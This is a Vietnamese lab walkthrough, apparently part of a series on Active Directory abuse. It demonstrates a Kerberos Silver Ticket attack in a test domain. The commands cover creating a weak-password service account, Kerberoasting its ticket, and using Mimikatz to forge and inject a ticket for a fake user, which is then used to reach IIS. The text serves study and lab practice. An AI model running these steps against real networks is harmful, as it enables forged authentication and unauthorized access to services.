Ired.Team Kerberos Silver Ticket

Tiếp tục chuỗi series AD abuse thì tiếp theo ta tiến tới Kerberos Silver Ticket có nghĩa là ta sẽ hack quyền từ Kerberos nhưng không phải tạo golden ticket để truy cập mọi tài nguyên trong DC mà ở đây ta chỉ tạo Silver Ticket có quyền truy cập một số tài nguyên nhất định vì đôi khi ta cũng không cần phải full quyền để làm gì nhiều lúc sẽ dễ bị phát hiện nên ta chỉ cần lấy một vài tài nguyên, chính điều đó thì Silver Ticket ra đời.

Execution

Bước 1: Chuẩn bị môi trường

  • Một domain controller (Ở đây tôi có: dc-mantvydas.offense.local)
  • Một máy client tham gia domain (Ở đây mình dùng DC-RED)
  • Quyền admin trên domain để tạo tài khoản dịch vụ (hoặc ít nhất có quyền tạo user)

Bước 2: Tạo user/service account có password yếu

Đầu tiên ta sẽ dùng lệnh PowerShell ở trên máy DC để tạo ra http service có password yếu.

1
2
3
4
5
# Tạo user mới - dùng làm service account
New-ADUser -Name "svc_http" -SamAccountName "svc_http" -AccountPassword (ConvertTo-SecureString "Passw0rd" -AsPlainText -Force) -Enabled $true

# Gán quyền SPN cho user này (để nó trở thành service account)
Set-ADUser -Identity "svc_http" -ServicePrincipalNames @{Add="HTTP/dc-mantvydas.offense.local"}

Bước 3: Xác minh SPN đã được gán

Sau đó tiếp tục ta sẽ sử dụng các lệnh sau để xác mình rằng đã có SPN được gán vào.

1
2
setspn -S HTTP/dc-mantvydas.offense.local svc_http
Get-ADUser svc_http -Properties Enabled, PasswordNeverExpires, ServicePrincipalNames

image

Okay kết quả trả về khả quan rồi.

Bước 4: Thực hiện Kerberoasting từ máy tấn công

Bây giờ mình sẽ truy cập máy windows attacker của mình đó là DC-RED để khai thác.

image

Ở đây mình dùng 2 lệnh đó là :

1
2
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/dc-mantvydas.offense.local"

2 lệnh trên có mục đích là lấy TGS Ticket hay còn gọi đó là bước kerberoasting ở đây sau khi thực thi thì hệ thống sẽ lưu ticket vào cache của Kerberos sau đó ta sẽ phải lấy thêm NTLM hash, ở đây mình set password cho service là Passw0rd nên bỏ qua bước đó lấy thẳng NTLM hash của nó là a87f3a337d73085c45f9416be5787d86.

Bước 5: Tạo Silver Ticket với Mimikatz

Ở đây ta thực hiện đoạn lệnh là :

1
whoami /user

Với mục đích đó là lấy được Domain SID của user hiện tại.

image

Ta sẽ note cái SID này vào để còn dùng trong mimikatz S-1-5-21-1522518357-539094533-3136975768-1000

Sau đó ta tiến hành chạy mimikat ở đây mình sẽ spawn một cmd từ tool có tên là PsExec để chạy cmd với quyền cao nhất.

Sau đó ở trong mimikatz ta sẽ chạy lệnh sau :

1
kerberos::golden /sid:S-1-5-21-1522518357-539094533-3136975768 /domain:offense.local /ptt /id:1000 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:benignadmin

Lệnh này sử dụng tự động tạo ticket và inject nó vào ở đây ta dùng những thứ mà ta đã tìm được lúc nãy bao gồm Domain SID , NTLM hash và ở đây user được gán Silver Ticket mình để tên là benignadmin.

image

Thành công chạy lệnh nó trả về cho ta kết quả đó là Pass The Ticket là kết quả đã được, bây giờ để xác nhận rằng Ticket đã được inject ta sẽ exit mimikatz sau đó chạy lệnh klist để confirm.

image

Chuẩn bài rồi ta thấy tên client đã đúng là benignadmin @ offense.local bây giờ ta tới với bước thực hiện vài lệnh khai thác service.

Bước 6: Khai thác - Truy cập Service

Ta tiến hành gửi HTTP request dùng ticket với lệnh :

1
Invoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local

image

Phân tích kết quả :

  • StatusCode: 200 → HTTP request thành công.
  • Nội dung trả về là trang mặc định của IIS → chứng tỏ service HTTP đang chạy.
  • Vì mình dùng -UseDefaultCredentials, hệ thống đã tự động đính kèm Kerberos ticket inject trước đó (Silver Ticket cho benignadmin) vào request.
  • IIS trên dc-mantvydas.offense.local chấp nhận ticket → xác thực thành công dù benignadmin không tồn tại thực sự trong Active Directory.

image

Sau đó check ở Event Viewer của DC thì thấy được request Logon của user fake mà mình tạo vậy là hoàn thành lab Kerberos Silver Ticket.